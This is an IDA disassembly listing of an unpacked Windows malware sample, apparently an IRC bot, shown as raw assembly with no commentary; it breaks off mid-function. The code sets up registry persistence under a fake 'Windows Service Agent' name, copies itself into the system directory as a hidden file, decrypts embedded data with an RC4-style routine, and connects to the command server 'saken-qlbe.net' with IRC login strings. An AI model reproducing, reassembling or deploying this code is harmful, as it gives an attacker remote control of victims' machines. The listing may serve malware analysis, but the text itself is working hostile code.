;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 538C11BEFA9F9D56F23054224D36D849
; File Name : u:\work\538c11befa9f9d56f23054224d36d849_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 0003A8F3 ( 239859.)
; Section size in file : 0003A8F3 ( 239859.)
; Offset to raw data for section: 00001000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_0 segment para public 'CODE' use32
assume cs:_0
;org 401000h
assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: sub_401404+346p
; sub_418EAE+1Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
xor esi, esi
mov ebx, offset aWindowsService ; "Windows Service Agent"
loc_401010: ; CODE XREF: sub_401000+6Aj
lea eax, [ebp+var_4]
push edi
push eax
push edi
push 0F003Fh
push edi
push edi
push edi
push ds:off_43F054[esi]
push ds:dword_43F050[esi]
call ds:dword_4E2F7C ; RegCreateKeyExA
cmp [ebp+arg_0], edi
jz short loc_401051
push [ebp+arg_0]
call sub_41BC70
pop ecx
push eax
push [ebp+arg_0]
push 1
push edi
push ebx
push [ebp+var_4]
call ds:dword_4E2FEC ; RegSetValueExA
jmp short loc_40105B
; ---------------------------------------------------------------------------
loc_401051: ; CODE XREF: sub_401000+33j
push ebx
push [ebp+var_4]
call ds:dword_4E2F2C ; RegDeleteValueA
loc_40105B: ; CODE XREF: sub_401000+4Fj
push [ebp+var_4]
call ds:dword_4E2FA4 ; RegCloseKey
add esi, 8
cmp esi, 18h
jb short loc_401010
pop edi
pop esi
pop ebx
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
sub_401071 proc near ; CODE XREF: sub_4010AA+54p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
or esi, 0FFFFFFFFh
test edi, edi
jz short loc_4010A3
mov ecx, 0FFh
push ebx
loc_401088: ; CODE XREF: sub_401071+2Fj
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, ds:dword_43C020[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_401088
pop ebx
loc_4010A3: ; CODE XREF: sub_401071+Fj
mov eax, esi
pop edi
not eax
pop esi
retn
sub_401071 endp
; =============== S U B R O U T I N E =======================================
sub_4010AA proc near ; CODE XREF: sub_416D68+23Fp
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_41BE40
mov [esp+10h+var_10], offset dword_43F068
push [esp+10h+arg_0]
mov esi, eax
call sub_41E490
mov edi, eax
pop ecx
test edi, edi
pop ecx
jnz short loc_4010F5
loc_4010CF: ; CODE XREF: sub_4010AA+37j
xor eax, eax
jmp short loc_401116
; ---------------------------------------------------------------------------
loc_4010D3: ; CODE XREF: sub_4010AA+4Fj
inc ebx
push ebx
push esi
call sub_41C330
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4010CF
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_41E180
add esp, 10h
loc_4010F5: ; CODE XREF: sub_4010AA+23j
test byte ptr [edi+0Ch], 10h
jz short loc_4010D3
dec ebx
push ebx
push esi
call sub_401071
push esi
mov ebx, eax
call sub_41C9D0
push edi
call sub_41BCF0
add esp, 10h
mov eax, ebx
loc_401116: ; CODE XREF: sub_4010AA+27j
pop edi
pop esi
pop ebx
retn
sub_4010AA endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 240h
push ebx
push esi
lea eax, [ebp-34h]
push edi
xor ebx, ebx
push eax
xor edi, edi
mov byte ptr [ebp-34h], 0Ah
mov byte ptr [ebp-33h], 0Eh
mov byte ptr [ebp-32h], 20h
mov byte ptr [ebp-31h], 48h
mov byte ptr [ebp-30h], 0Bh
mov byte ptr [ebp-2Fh], 2Bh
mov byte ptr [ebp-2Eh], 0Ch
mov byte ptr [ebp-2Dh], 23h
mov byte ptr [ebp-2Ch], 3Ah
mov byte ptr [ebp-2Bh], 27h
mov byte ptr [ebp-2Ah], 28h
mov byte ptr [ebp-29h], 5Eh
mov byte ptr [ebp-28h], 2Ah
mov byte ptr [ebp-27h], 1Eh
mov byte ptr [ebp-26h], 2Dh
mov byte ptr [ebp-25h], 5Ah
mov byte ptr [ebp-24h], 1Bh
mov byte ptr [ebp-23h], 0Fh
mov byte ptr [ebp-22h], 4Ch
mov byte ptr [ebp-21h], 44h
mov byte ptr [ebp-20h], 16h
mov byte ptr [ebp-1Fh], 4
mov byte ptr [ebp-1Eh], 57h
mov byte ptr [ebp-1Dh], 23h
mov byte ptr [ebp-1Ch], 11h
mov byte ptr [ebp-1Bh], 53h
mov byte ptr [ebp-1Ah], 38h
mov byte ptr [ebp-19h], 13h
mov byte ptr [ebp-18h], 0Dh
mov byte ptr [ebp-17h], 12h
mov byte ptr [ebp-16h], 25h
mov byte ptr [ebp-15h], 1Ch
mov byte ptr [ebp-14h], 30h
mov byte ptr [ebp-13h], 12h
mov byte ptr [ebp-12h], 50h
mov byte ptr [ebp-11h], 4Fh
mov byte ptr [ebp-10h], 39h
mov byte ptr [ebp-0Fh], 10h
mov byte ptr [ebp-0Eh], 42h
mov byte ptr [ebp-0Dh], 1Fh
mov byte ptr [ebp-0Ch], 37h
mov byte ptr [ebp-0Bh], 1Dh
mov byte ptr [ebp-0Ah], 41h
mov byte ptr [ebp-9], 55h
mov byte ptr [ebp-8], 2Ch
mov byte ptr [ebp-7], 41h
mov byte ptr [ebp-6], 2Ch
mov byte ptr [ebp-5], 58h
mov [ebp-4], bl
call sub_41BC70
mov esi, 101h
mov [ebp-38h], eax
push esi
lea eax, [ebp-13Ch]
push ebx
push eax
call sub_41E4B0
push esi
lea eax, [ebp-240h]
push ebx
push eax
call sub_41E4B0
add esp, 1Ch
xor eax, eax
mov ecx, 100h
loc_401224: ; CODE XREF: _0:0040122Ej
mov [ebp+eax-13Ch], al
inc eax
cmp eax, ecx
jb short loc_401224
cmp [ebp+14h], ebx
jz short loc_401253
xor eax, eax
loc_401237: ; CODE XREF: _0:0040124Fj
cmp edi, [ebp+14h]
jnz short loc_40123E
xor edi, edi
loc_40123E: ; CODE XREF: _0:0040123Aj
mov edx, [ebp+10h]
mov dl, [edi+edx]
inc edi
mov [ebp+eax-240h], dl
inc eax
cmp eax, ecx
jb short loc_401237
jmp short loc_40126D
; ---------------------------------------------------------------------------
loc_401253: ; CODE XREF: _0:00401233j
xor esi, esi
loc_401255: ; CODE XREF: _0:0040126Bj
cmp edi, [ebp-38h]
jnz short loc_40125C
xor edi, edi
loc_40125C: ; CODE XREF: _0:00401258j
mov al, [ebp+edi-34h]
inc edi
mov [ebp+esi-240h], al
inc esi
cmp esi, ecx
jb short loc_401255
loc_40126D: ; CODE XREF: _0:00401251j
mov [ebp+14h], ebx
xor edi, edi
mov eax, 0FFh
loc_401277: ; CODE XREF: _0:004012A7j
mov ebx, [ebp+14h]
mov cl, [ebp+edi-240h]
lea esi, [ebp+edi-13Ch]
mov dl, [esi]
add ebx, edx
add ecx, ebx
and ecx, eax
inc edi
mov [ebp+14h], ecx
cmp edi, 100h
lea ecx, [ebp+ecx-13Ch]
mov bl, [ecx]
mov [esi], bl
mov [ecx], dl
jb short loc_401277
xor edi, edi
cmp [ebp+0Ch], edi
mov [ebp+14h], edi
mov [ebp+10h], edi
jbe short loc_4012FB
loc_4012B6: ; CODE XREF: _0:004012F9j
inc edi
and edi, eax
lea ecx, [ebp+edi-13Ch]
mov dl, [ecx]
mov bl, dl
add ebx, [ebp+14h]
and ebx, eax
mov esi, ebx
mov [ebp+14h], esi
lea esi, [ebp+esi-13Ch]
mov bl, [esi]
mov [ecx], bl
mov ebx, [ebp+10h]
mov [esi], dl
mov cl, [ecx]
mov esi, [ebp+8]
add ecx, edx
and ecx, eax
add esi, ebx
mov cl, [ebp+ecx-13Ch]
xor [esi], cl
inc ebx
cmp ebx, [ebp+0Ch]
mov [ebp+10h], ebx
jb short loc_4012B6
loc_4012FB: ; CODE XREF: _0:004012B4j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401300 proc near ; DATA XREF: sub_401404+14o
var_2A4 = dword ptr -2A4h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push ds:dword_455F0C
call ds:dword_4E3060 ; closesocket
call sub_40B854
call ds:dword_4E2F20 ; WSACleanup
call ds:dword_4E2F20 ; WSACleanup
mov ebx, ds:dword_4F534C
push 64h
call ebx ; Sleep
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41E4B0
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_41E4B0
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset dword_45517C
mov [ebp+var_28], 1
mov [ebp+var_24], di
call ds:dword_4F5348 ; GetSystemDirectoryA
lea eax, [ebp+var_158]
push esi
push eax
push edi
call ds:off_4F5344
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call ds:dword_4F5340 ; CreateProcessA
test eax, eax
jz short loc_4013C5
push 64h
call ebx ; Sleep
push [ebp+var_10]
mov esi, ds:off_4F533C
call esi ; sub_50B3D5
push [ebp+var_C]
call esi ; sub_50B3D5
loc_4013C5: ; CODE XREF: sub_401300+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_455178
mov eax, [esp+2A4h+var_2A4]
mov large fs:0, eax
add esp, 8
push edi
call ds:off_4F5338
pop edi
pop esi
pop ebx
loc_4013E8: ; DATA XREF: _2:0043F004o
jmp $+5
push 0FFFFh
push 539h
call sub_419313
pop ecx
mov ds:dword_4E2D00, eax
pop ecx
retn
sub_401300 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401404 proc near ; CODE XREF: _0:00422221p
var_984 = byte ptr -984h
var_880 = byte ptr -880h
var_87F = byte ptr -87Fh
var_6F0 = byte ptr -6F0h
var_5F0 = byte ptr -5F0h
var_4EC = byte ptr -4ECh
var_3EC = byte ptr -3ECh
var_2E8 = byte ptr -2E8h
var_1E4 = byte ptr -1E4h
var_E0 = dword ptr -0E0h
var_D4 = dword ptr -0D4h
var_B4 = dword ptr -0B4h
var_B0 = word ptr -0B0h
var_9C = byte ptr -9Ch
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 984h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp+var_8], ebx
mov [ebp+var_C], ebx
mov [ebp+var_4], offset sub_401300
push [ebp+var_4]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, ds:dword_4F537C
call esi ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov ds:dword_4E2D04, eax
call esi ; GetTickCount
push eax
call sub_41EB60
pop ecx
call sub_409D10
push 2
call ds:dword_4E3074 ; SetErrorMode
push 7530h
push offset aTarab ; "Tarab"
push ebx
push ebx
call ds:dword_4F5378 ; CreateMutexA
push eax
call ds:dword_4F5374 ; WaitForSingleObject
cmp eax, 102h
jnz short loc_401484
push 1
call ds:off_4F5338
loc_401484: ; CODE XREF: sub_401404+76j
lea eax, [ebp+var_880]
push eax
push 202h
call ds:dword_4E2F38 ; WSAStartup
cmp eax, ebx
jnz loc_40199C
cmp [ebp+var_880], 2
jnz loc_401996
xor eax, eax
mov al, [ebp+var_87F]
cmp al, 2
jnz loc_401996
mov esi, 104h
lea eax, [ebp+var_3EC]
push esi
push eax
call ds:dword_4F5348 ; GetSystemDirectoryA
lea eax, [ebp+var_2E8]
push esi
push eax
push ebx
call ds:off_4F5370
push eax
call ds:off_4F5344
lea eax, [ebp+var_4EC]
push eax
lea eax, [ebp+var_6F0]
push eax
push ebx
lea eax, [ebp+var_2E8]
push ebx
push eax
call sub_41ED30
lea eax, [ebp+var_4EC]
push eax
lea eax, [ebp+var_6F0]
push eax
push offset dword_43FA44
lea eax, [ebp+var_5F0]
push esi
push eax
call sub_41EC30
lea eax, [ebp+var_3EC]
push eax
lea eax, [ebp+var_2E8]
push eax
call sub_41EBB0
add esp, 30h
test eax, eax
jnz loc_4016E7
cmp ds:dword_43F090, ebx
mov esi, offset byte_43F0FC
jz short loc_40157C
push esi
xor edi, edi
call sub_41BC70
sub eax, 4
pop ecx
jz short loc_40157C
loc_401559: ; CODE XREF: sub_401404+176j
call sub_41EB70
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov ds:byte_43F0FC[edi], dl
inc edi
call sub_41BC70
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_401559
loc_40157C: ; CODE XREF: sub_401404+145j
; sub_401404+153j
lea eax, [ebp+var_3EC]
push esi
push eax
lea eax, [ebp+var_1E4]
push offset dword_43FA4C
push eax
call sub_41EA60
add esp, 10h
lea eax, [ebp+var_1E4]
push eax
call ds:off_4F536C
cmp eax, 0FFFFFFFFh
jz short loc_4015BC
lea eax, [ebp+var_1E4]
push 80h
push eax
call ds:dword_4F5368 ; SetFileAttributesA
loc_4015BC: ; CODE XREF: sub_401404+1A4j
mov esi, ds:dword_4F5364
xor edi, edi
jmp short loc_4015E8
; ---------------------------------------------------------------------------
loc_4015C6: ; CODE XREF: sub_401404+1F7j
call ds:dword_4F5360 ; RtlGetLastWin32Error
cmp edi, ebx
jnz short loc_4015FD
cmp eax, 20h
jz short loc_4015DA
cmp eax, 5
jnz short loc_4015FD
loc_4015DA: ; CODE XREF: sub_401404+1CFj
xor edi, edi
push 3A98h
inc edi
call ds:dword_4F534C ; Sleep
loc_4015E8: ; CODE XREF: sub_401404+1C0j
lea eax, [ebp+var_1E4]
push ebx
push eax
lea eax, [ebp+var_2E8]
push eax
call esi ; CopyFileA
test eax, eax
jz short loc_4015C6
loc_4015FD: ; CODE XREF: sub_401404+1CAj
; sub_401404+1D4j
lea eax, [ebp+var_1E4]
push eax
call sub_418D6A
pop ecx
lea eax, [ebp+var_1E4]
push 7
push eax
call ds:dword_4F5368 ; SetFileAttributesA
push 10h
lea eax, [ebp+var_1C]
push ebx
push eax
call sub_41E4B0
push 44h
lea eax, [ebp+var_E0]
pop esi
push esi
push ebx
push eax
call sub_41E4B0
mov [ebp+var_E0], esi
xor esi, esi
inc esi
add esp, 18h
mov [ebp+var_D4], offset byte_4E2E78
mov [ebp+var_B4], esi
mov [ebp+var_B0], bx
call ds:dword_4F535C ; GetCurrentProcessId
push eax
push esi
push 100000h
call ds:dword_4F5358 ; OpenProcess
lea ecx, [ebp+var_2E8]
push ecx
push eax
lea eax, [ebp+var_1E4]
push eax
lea eax, [ebp+var_984]
push offset dword_43FA54
push eax
call sub_41EA60
add esp, 14h
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_E0]
push eax
lea eax, [ebp+var_3EC]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp+var_984]
push ebx
push eax
lea eax, [ebp+var_1E4]
push eax
call ds:dword_4F5340 ; CreateProcessA
test eax, eax
jz short loc_4016E7
push 0C8h
call ds:dword_4F534C ; Sleep
push [ebp+var_1C]
mov esi, ds:off_4F533C
call esi ; sub_50B3D5
push [ebp+var_18]
call esi ; sub_50B3D5
call ds:dword_4E2F20 ; WSACleanup
push ebx
call ds:off_4F5338
loc_4016E7: ; CODE XREF: sub_401404+134j
; sub_401404+2B9j
cmp ds:dword_4F3308, 2
jle short loc_401733
mov eax, ds:dword_4F330C
push dword ptr [eax+4]
call sub_41E710
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
call ds:dword_4F5374 ; WaitForSingleObject
push esi
call ds:off_4F533C
mov eax, ds:dword_4F330C
cmp [eax+8], ebx
jz short loc_401733
push 7D0h
call ds:dword_4F534C ; Sleep
mov eax, ds:dword_4F330C
push dword ptr [eax+8]
call ds:dword_4F5354 ; DeleteFileA
loc_401733: ; CODE XREF: sub_401404+2EAj
; sub_401404+314j
cmp ds:dword_43F094, ebx
jz short loc_401750
cmp ds:dword_4E3094, ebx
jnz short loc_401750
lea eax, [ebp+var_5F0]
push eax
call sub_401000
pop ecx
loc_401750: ; CODE XREF: sub_401404+335j
; sub_401404+33Dj
lea eax, [ebp+var_9C]
push offset dword_43FA60
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_9C]
push ebx
push eax
call sub_40B691
lea eax, [ebp+var_9C]
push eax
call sub_415A3C
push 0B80h
push ebx
push offset dword_455180
call sub_41E4B0
lea eax, [ebp+var_9C]
push offset unk_43FA7C
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_9C]
push 1
push eax
call sub_40B691
add esp, 38h
mov esi, eax
mov edi, ds:dword_4F5350
lea eax, [ebp+var_8]
push eax
push ebx
push ebx
push offset sub_41A689
push ebx
push ebx
call edi ; CreateThread
imul esi, 234h
cmp eax, ebx
mov ds:dword_455F14[esi], eax
jnz short loc_4017F0
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_9C]
push offset unk_43FAA0
push eax
call sub_41EA60
add esp, 0Ch
loc_4017F0: ; CODE XREF: sub_401404+3CFj
lea eax, [ebp+var_9C]
push eax
call sub_415A3C
push 2
call sub_40B8D3
pop ecx
test eax, eax
pop ecx
jnz short loc_401875
lea eax, [ebp+var_9C]
push offset dword_43FAE0
push eax
call sub_41EA60
push ebx
lea eax, [ebp+var_9C]
push 2
push eax
call sub_40B691
add esp, 14h
mov esi, eax
lea eax, [ebp+var_8]
push eax
push ebx
push esi
push offset sub_410B14
push ebx
push ebx
call edi ; CreateThread
imul esi, 234h
cmp eax, ebx
mov ds:dword_455F14[esi], eax
jnz short loc_401868
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_9C]
push offset dword_43FB0C
push eax
call sub_41EA60
add esp, 0Ch
loc_401868: ; CODE XREF: sub_401404+447j
lea eax, [ebp+var_9C]
push eax
call sub_415A3C
pop ecx
loc_401875: ; CODE XREF: sub_401404+403j
call sub_41EB70
push 7Fh
and eax, 3
push offset aSakenQlbe_net ; "saken-qlbe.net"
push offset dword_4E2D0C
mov ds:dword_4E2E74, eax
call sub_41E510
mov eax, ds:dword_43F070
push 3Fh
mov edi, offset dword_4E2D8C
push offset a0 ; "#0#"
push edi
mov ds:dword_4E2E5C, eax
call sub_41E510
push 3Fh
mov esi, offset dword_4E2DCC
push offset a7lome ; "7lome"
push esi
call sub_41E510
mov ds:dword_4E2E60, ebx
loc_4018C7: ; CODE XREF: sub_401404+53Ej
; sub_401404+588j
add esp, 24h
loc_4018CA: ; CODE XREF: sub_401404+546j
mov [ebp+var_4], ebx
loc_4018CD: ; CODE XREF: sub_401404+4FFj
push offset dword_4E2D08
mov ds:dword_4E2E70, ebx
call sub_4019A5
cmp eax, 2
jz loc_401991
cmp ds:dword_4E2E70, ebx
jz short loc_4018F1
dec [ebp+var_4]
loc_4018F1: ; CODE XREF: sub_401404+4E8j
push 0BB8h
call ds:dword_4F534C ; Sleep
inc [ebp+var_4]
cmp [ebp+var_4], 6
jl short loc_4018CD
cmp [ebp+var_C], ebx
jz short loc_401944
push 7Fh
push offset aSakenQlbe_net ; "saken-qlbe.net"
push offset dword_4E2D0C
call sub_41E510
mov eax, ds:dword_43F070
push 3Fh
push offset a0 ; "#0#"
push edi
mov ds:dword_4E2E5C, eax
call sub_41E510
push 3Fh
push offset a7lome ; "7lome"
push esi
call sub_41E510
mov [ebp+var_C], ebx
jmp short loc_4018C7
; ---------------------------------------------------------------------------
loc_401944: ; CODE XREF: sub_401404+504j
cmp ds:byte_43F0E0, bl
jz loc_4018CA
push 7Fh
push offset byte_43F0E0
push offset dword_4E2D0C
call sub_41E510
mov eax, ds:dword_43F074
push 3Fh
push offset dword_43F0F0
push edi
mov ds:dword_4E2E5C, eax
call sub_41E510
push 3Fh
push offset a7lome_0 ; "7lome"
push esi
call sub_41E510
mov [ebp+var_C], 1
jmp loc_4018C7
; ---------------------------------------------------------------------------
loc_401991: ; CODE XREF: sub_401404+4DCj
call sub_40B854
loc_401996: ; CODE XREF: sub_401404+A1j
; sub_401404+B1j
call ds:dword_4E2F20 ; WSACleanup
loc_40199C: ; CODE XREF: sub_401404+94j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
sub_401404 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4019A5 proc near ; CODE XREF: sub_401404+4D4p
; DATA XREF: sub_401C87+66EDo
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_4019CA: ; CODE XREF: sub_4019A5+E6j
; sub_4019A5+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41E4B0
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call ds:dword_4E2FC8 ; htons
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_40AD91
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_401B07
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41E4B0
push 0
lea eax, [ebp+var_2C]
push ds:dword_43F0A4
push ds:dword_43F0A0
push eax
call sub_40B38F
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_455F18
push edi
push eax
call sub_41E510
add esp, 28h
push 6
push 1
push 2
call ds:dword_4E3048 ; socket
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov ds:dword_455F0C[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call ds:dword_4E2F70 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_401A90
push esi
call ds:dword_4E3060 ; closesocket
call sub_40ADBA
push 7D0h
loc_401A85: ; CODE XREF: sub_4019A5+146j
call ds:dword_4F534C ; Sleep
jmp loc_4019CA
; ---------------------------------------------------------------------------
loc_401A90: ; CODE XREF: sub_4019A5+CDj
lea eax, [ebp+var_18C]
push eax
push offset unk_43FB40
call sub_415AB0
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_401B0B
add esp, 28h
mov edi, eax
push esi
call ds:dword_4E3060 ; closesocket
test edi, edi
jz loc_4019CA
cmp edi, 1
jnz short loc_401AED
push 0DBBA0h
jmp short loc_401A85
; ---------------------------------------------------------------------------
loc_401AED: ; CODE XREF: sub_4019A5+13Fj
cmp edi, 2
jnz loc_4019CA
push [ebp+var_34]
call sub_40B9A7
pop ecx
push edi
pop eax
loc_401B01: ; CODE XREF: sub_4019A5+164j
pop edi
pop esi
leave
retn 4
; ---------------------------------------------------------------------------
loc_401B07: ; CODE XREF: sub_4019A5+5Aj
xor eax, eax
jmp short loc_401B01
sub_4019A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401B0B proc near ; CODE XREF: sub_4019A5+123p
var_1A90 = byte ptr -1A90h
var_A90 = byte ptr -0A90h
var_2C0 = byte ptr -2C0h
var_140 = byte ptr -140h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A90h
call sub_41EF80
push ebx
push esi
push edi
xor ebx, ebx
push 3
mov [ebp+var_8], ebx
lea eax, [ebp+var_2C0]
pop ecx
loc_401B29: ; CODE XREF: sub_401B0B+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_401B29
cmp ds:byte_4E2E6C, bl
jz short loc_401B50
push offset byte_4E2E6C
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_409C2F
add esp, 0Ch
loc_401B50: ; CODE XREF: sub_401B0B+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_40B38F
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_41EA60
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41BC70
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call ds:dword_4E3018 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_401BBA
push [ebp+arg_0]
call ds:dword_4E3060 ; closesocket
push 1388h
call ds:dword_4F534C ; Sleep
loc_401BB3: ; CODE XREF: sub_401B0B+D9j
; sub_401B0B+153j
xor eax, eax
loc_401BB5: ; CODE XREF: sub_401B0B+16Fj
; sub_401B0B+177j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401BBA: ; CODE XREF: sub_401B0B+92j
; sub_401B0B+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A90]
push esi
push ebx
push eax
call sub_41E4B0
add esp, 0Ch
lea eax, [ebp+var_1A90]
push ebx
push esi
push eax
push [ebp+arg_0]
call ds:dword_4E2FE0 ; recv
test eax, eax
jle short loc_401BB3
lea eax, [ebp+var_A90]
push eax
lea eax, [ebp+var_1A90]
push eax
call sub_418A5E
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_401BBA
lea edi, [ebp+var_A90]
loc_401C0B: ; CODE XREF: sub_401B0B+165j
xor esi, esi
inc esi
loc_401C0E: ; CODE XREF: sub_401B0B+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_140]
push eax
lea eax, [ebp+var_2C0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_401C87
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_401C51
push 7D0h
call ds:dword_4F534C ; Sleep
jmp short loc_401C0E
; ---------------------------------------------------------------------------
loc_401C51: ; CODE XREF: sub_401B0B+137j
cmp esi, 0FFFFFFFDh
jz short loc_401C7F
cmp esi, 0FFFFFFFEh
jz short loc_401C77
cmp esi, 0FFFFFFFFh
jz loc_401BB3
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_401C0B
jmp loc_401BBA
; ---------------------------------------------------------------------------
loc_401C77: ; CODE XREF: sub_401B0B+14Ej
xor eax, eax
inc eax
jmp loc_401BB5
; ---------------------------------------------------------------------------
loc_401C7F: ; CODE XREF: sub_401B0B+149j
push 2
pop eax
jmp loc_401BB5
sub_401B0B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401C87 proc near ; CODE XREF: sub_401B0B+12Ap
var_5D88 = byte ptr -5D88h
var_5988 = byte ptr -5988h
var_5588 = byte ptr -5588h
var_53F8 = byte ptr -53F8h
var_51F8 = byte ptr -51F8h
var_50F4 = byte ptr -50F4h
var_4FF4 = byte ptr -4FF4h
var_4EF0 = byte ptr -4EF0h
var_4DF0 = byte ptr -4DF0h
var_4CF0 = byte ptr -4CF0h
var_4BF0 = byte ptr -4BF0h
var_4AF0 = byte ptr -4AF0h
var_48F0 = byte ptr -48F0h
var_47EC = byte ptr -47ECh
var_46EC = byte ptr -46ECh
var_45EC = byte ptr -45ECh
var_4588 = byte ptr -4588h
var_4488 = byte ptr -4488h
var_4288 = byte ptr -4288h
var_4188 = byte ptr -4188h
var_4088 = byte ptr -4088h
var_3F88 = dword ptr -3F88h
